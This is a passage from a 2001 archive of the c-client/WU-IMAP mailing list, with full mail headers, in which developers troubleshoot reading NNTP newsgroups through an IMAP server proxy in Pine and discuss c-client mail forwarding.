Now, how can I get imapd to speek to an other imap, nntp or pop3 > server in the background, so I'd just see another folder? Give the IMAP server a c-client format mailbox name. Note that the IMAP server probably won't be able to log in to another IMAP server or a POP3 server unless the password is the same as the one that you used to log into the IMAP server (and if you used a method such as CRAM-MD5, it probably won't work at all). So, the proxy feature is most useful for NNTP. For example: tag SELECT "{nntp.blurdybloop.com/nntp}comp.mail.misc" In Pine, you might have a mailbox looking like: {imap.blurdybloop.com}{nntp.blurdybloop.com/nntp}comp.mail.misc The main reason why you'd want to do this is that this way, the .newsrc file is on the server so if you use multiple clients, you would have synchronized news reading state. From pinedev@shivax2.cac.washington.edu Fri Apr 6 01:59:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 6 Apr 2001 01:59:36 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id BAA01006 for ; Fri, 6 Apr 2001 01:59:35 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Apr 06 01:59:34 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA16276; Fri, 6 Apr 2001 01:59:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f368tmo15454; Fri, 6 Apr 2001 01:55:48 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f368aTK60762 for ; Fri, 6 Apr 2001 01:36:29 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f368aRb28313 for ; Fri, 6 Apr 2001 01:36:28 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f368aJo29676; Fri, 6 Apr 2001 10:36:19 +0200 Message-Id: Date: Fri, 6 Apr 2001 10:36:19 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fl@www.scotty.co.at X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 5 Apr 2001, Mark Crispin wrote: > In Pine, you might have a mailbox looking like: > {imap.blurdybloop.com}{nntp.blurdybloop.com/nntp}comp.mail.misc > > The main reason why you'd want to do this is that this way, the > .newsrc file is on the server so if you use multiple clients, you > would have synchronized news reading state. When I do it this way pine tells me that the folder is readonly and I can't see the server create a .newsrc file. I have to admit that I use the patched imap-2000 server which supports virtual mail domains. Could that be the cause? Or my pine 4.21? Often I get [rsh to IMAP server timed out] then pine opens the folder an prints [Folder "at.anzeigen.computer.pc" opened with 2,724 messages READONLY] -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Fri Apr 6 10:26:10 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 6 Apr 2001 10:26:09 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id KAA00658 for ; Fri, 6 Apr 2001 10:26:08 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Apr 06 10:26:08 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA29320; Fri, 6 Apr 2001 10:26:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f36HNUr26772; Fri, 6 Apr 2001 10:23:30 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f36HIpK64506 for ; Fri, 6 Apr 2001 10:18:51 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jms@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f36HIoU11843 for ; Fri, 6 Apr 2001 10:18:50 -0700 Message-Id: Date: Fri, 6 Apr 2001 10:18:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 6 Apr 2001, Friedrich Lobenstock wrote: > When I do it this way pine tells me that the folder is readonly and I > can't see the server create a .newsrc file. The folder being readonly is normal. The .newsrc file won't get created until you delete some messages and close the newsgroup. > [rsh to IMAP server timed out] Set rsh-timeout=0 in your .pinerc to disable rimap and this message will go away. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Apr 8 10:30:51 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 8 Apr 2001 10:30:50 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id KAA00881 for ; Sun, 8 Apr 2001 10:30:49 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Apr 08 10:29:26 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA19738; Sun, 8 Apr 2001 10:29:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f38HPor26196; Sun, 8 Apr 2001 10:25:51 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f38HLOK08968 for ; Sun, 8 Apr 2001 10:21:24 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f38HLMb30732 for ; Sun, 8 Apr 2001 10:21:23 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f38HLGs26859; Sun, 8 Apr 2001 19:21:17 +0200 Message-Id: Date: Sun, 8 Apr 2001 19:21:16 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fl@www.scotty.co.at X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 6 Apr 2001, Mark Crispin wrote: > On Fri, 6 Apr 2001, Friedrich Lobenstock wrote: > > When I do it this way pine tells me that the folder is readonly and I > > can't see the server create a .newsrc file. > > The folder being readonly is normal. > > The .newsrc file won't get created until you delete some messages and > close the newsgroup. If I press D to delete a message in such folder I get [Can't delete message. Folder is read-only.] If I enter a message the new flag is gone, then quit pine and restart it and the message I once read is still there flagged as new. BTW server is imap-2000c might that be the cause? -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Sun Apr 8 22:21:25 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 8 Apr 2001 22:21:25 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id WAA02249 for ; Sun, 8 Apr 2001 22:21:24 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Apr 08 22:19:40 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA31777; Sun, 8 Apr 2001 22:19:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f395HZo23764; Sun, 8 Apr 2001 22:17:35 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f395GNK58874 for ; Sun, 8 Apr 2001 22:16:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dma@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f395GNb03315 for ; Sun, 8 Apr 2001 22:16:23 -0700 Message-Id: Date: Sun, 8 Apr 2001 22:13:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 8 Apr 2001 19:21:16 +0200 (CEST), Friedrich Lobenstock wrote: > If I press D to delete a message in such folder I get > [Can't delete message. Folder is read-only.] Set it up as a news-collection and it will work. I'll find a Pine bug report about the general case. From pinedev@shivax2.cac.washington.edu Mon Apr 9 02:18:25 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Apr 2001 02:18:25 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id CAA16187 for ; Mon, 9 Apr 2001 02:18:23 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Apr 09 02:16:31 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA03492; Mon, 9 Apr 2001 02:16:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f399Dqo29680; Mon, 9 Apr 2001 02:13:52 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f399BNK41688 for ; Mon, 9 Apr 2001 02:11:23 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f399BL715254 for ; Mon, 9 Apr 2001 02:11:22 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f399BHN02884; Mon, 9 Apr 2001 11:11:17 +0200 Message-Id: Date: Mon, 9 Apr 2001 11:11:16 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fl@www.scotty.co.at X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 8 Apr 2001, Mark Crispin wrote: > On Sun, 8 Apr 2001 19:21:16 +0200 (CEST), Friedrich Lobenstock wrote: > > If I press D to delete a message in such folder I get > > [Can't delete message. Folder is read-only.] > > Set it up as a news-collection and it will work. I already did before, but I wanted to test the imap server builtin driver. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Mon Apr 9 12:51:31 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Apr 2001 12:51:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id MAA12392 for ; Mon, 9 Apr 2001 12:51:29 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Apr 09 12:49:16 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA19939; Mon, 9 Apr 2001 12:49:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f39Jjio28858; Mon, 9 Apr 2001 12:45:44 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f39JhMK97630 for ; Mon, 9 Apr 2001 12:43:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (seung@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f39JhMb28293 for ; Mon, 9 Apr 2001 12:43:22 -0700 Message-Id: Date: Mon, 9 Apr 2001 12:41:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 9 Apr 2001 11:11:16 +0200 (CEST), Friedrich Lobenstock wrote: > > Set it up as a news-collection and it will work. > I already did before, but I wanted to test the imap server builtin > driver. You could set up the NNTP-via-IMAP as a news-collection in Pine, and it will work, e.g. news-collections=News {imap.foo.com}{nntp.foo.com/nntp}[] From pinedev@shivax2.cac.washington.edu Mon Apr 9 15:52:07 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Apr 2001 15:52:07 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id PAA10244 for ; Mon, 9 Apr 2001 15:52:06 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Apr 09 15:49:46 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA27818; Mon, 9 Apr 2001 15:49:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f39Ml6o23790; Mon, 9 Apr 2001 15:47:06 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f39MinK09098 for ; Mon, 9 Apr 2001 15:44:49 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f39Mil708588 for ; Mon, 9 Apr 2001 15:44:48 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f39Mibm13253; Tue, 10 Apr 2001 00:44:37 +0200 Message-Id: Date: Tue, 10 Apr 2001 00:44:37 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fl@www.scotty.co.at X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 9 Apr 2001, Mark Crispin wrote: > You could set up the NNTP-via-IMAP as a news-collection in Pine, and it will > work, e.g. > > news-collections=News {imap.foo.com}{nntp.foo.com/nntp}[] OK, I did news-collections=news.austria.eu.net {mail.DOMAIN.at}{news.austria.eu.net/nntp}[] and that was not really fun because pine gets the whole list of available newsgroups. It takes a long time formating the scrolltext for 41740 groups every time - no chance to subscribe to or unsubscribe from newsgroups. BTW no .newsrc file on the IMAP server side this time either. Also not possible to "delete" a mesage in a newsgroup or to flag it as read. Am I just acting stupid, or what? I just see that there's an update rpm for pine 4.3. We'll see what happens with that. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Mon Apr 9 16:34:16 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Apr 2001 16:34:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id QAA19033 for ; Mon, 9 Apr 2001 16:34:15 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Apr 09 16:31:54 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA29359; Mon, 9 Apr 2001 16:31:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f39NTb709158; Mon, 9 Apr 2001 16:29:38 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f39NQFK92930 for ; Mon, 9 Apr 2001 16:26:15 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f39NQBM19317 for ; Mon, 9 Apr 2001 16:26:13 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f39NQ4S13808; Tue, 10 Apr 2001 01:26:04 +0200 Message-Id: Date: Tue, 10 Apr 2001 01:26:04 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: Mark Crispin Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Apr 2001, Friedrich Lobenstock wrote: > OK, I did > news-collections=news.austria.eu.net {mail.DOMAIN.at}{news.austria.eu.net/nntp}[] Now with pine 4.30 instead of the old 4.21 I entered this via its new config menu: folder-collections=Mail Mail/[], news.austria.eu.net {mail.DOMAIN.at}{news.austria.eu.net/nntp}at.anzeigen.computer.[] This works to speed things up but I seem to not be able to get the imap server create a .newsrc file this time either. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Tue Apr 10 15:16:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Apr 2001 15:16:53 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id PAA27280 for ; Tue, 10 Apr 2001 15:16:51 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Apr 10 15:13:46 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA31332; Tue, 10 Apr 2001 15:13:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3AMBJo32594; Tue, 10 Apr 2001 15:11:19 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3AMA6K26174 for ; Tue, 10 Apr 2001 15:10:06 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3AMA4b20344 for ; Tue, 10 Apr 2001 15:10:05 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f3AMA3G10640; Wed, 11 Apr 2001 00:10:03 +0200 Message-Id: Date: Wed, 11 Apr 2001 00:10:03 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: virtual email support and WU-IMAPD MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! How about including the patch for virtual mail support from http://vimap.sourceforge.net/ into the official wu-imapd? Are there any objections regarding this patch from your side as c-client developer(s)? -- MfG / Regards Friedrich Lobenstock -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 11 00:47:30 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Apr 2001 00:47:29 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id AAA17066 for ; Wed, 11 Apr 2001 00:47:28 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Apr 11 00:44:04 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA12249; Wed, 11 Apr 2001 00:44:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3B7ds722882; Wed, 11 Apr 2001 00:39:54 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3B7c6K76910 for ; Wed, 11 Apr 2001 00:38:07 -0700 Received: from c1mailgw02.prontomail.com ([216.163.184.10]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3B7c6U20855 for ; Wed, 11 Apr 2001 00:38:06 -0700 Received: from c1web101 (216.163.184.10) by c1mailgw02.prontomail.com (NPlex 5.1.050) id 3AD222FC000312BC for c-client@u.washington.edu; Wed, 11 Apr 2001 00:37:08 -0700 Message-Id: Date: Wed, 11 Apr 2001 13:12:09 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: p_ashis@indya.com To: c-client@u.washington.edu Subject: forwarding a mail using c-clint Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Version: indya 6.3.2329.0 X-Priority: Normal X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I am using the c-client library and it is a great fun to use it.I am having problems in forwarding my mails in the Inbox to a specified mail ID ,through my C program. Can someone tell how to forward the mail with a attachment using the c-client library. ashis Enjoy being an Indyan at http://www.indya.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 11 00:56:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Apr 2001 00:56:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id AAA23378 for ; Wed, 11 Apr 2001 00:56:30 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Apr 11 00:53:06 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA13870; Wed, 11 Apr 2001 00:53:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3B7nku10968; Wed, 11 Apr 2001 00:49:46 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3B7mvK26278 for ; Wed, 11 Apr 2001 00:48:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (senf@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3B7mvb01068 for ; Wed, 11 Apr 2001 00:48:57 -0700 Message-Id: Date: Wed, 11 Apr 2001 00:46:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: p_ashis@indya.com Cc: c-client@u.washington.edu Subject: re: forwarding a mail using c-clint In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 11 Apr 2001 13:12:09 +0000, p_ashis@indya.com wrote: > Can someone tell how to forward the mail with a > attachment using the c-client library. I recommend that you look at Pine's sending code to see how this is done. Basically, you have to create a new message envelope and bodystructure, and include the message being forwarded inside it as a MESSAGE/RFC822 part, with text data from mail_fetchmessage() of the message you want to forward. From pinedev@shivax2.cac.washington.edu Mon Apr 16 17:55:02 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Apr 2001 17:55:01 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3H0t0o04466 for ; Mon, 16 Apr 2001 17:55:00 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon Apr 16 17:54:59 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3H0suM30049; Mon, 16 Apr 2001 17:54:56 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3H0otn10908; Mon, 16 Apr 2001 17:50:55 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3H0lO928820 for ; Mon, 16 Apr 2001 17:47:24 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3H0lN729158 for ; Mon, 16 Apr 2001 17:47:23 -0700 Received: from 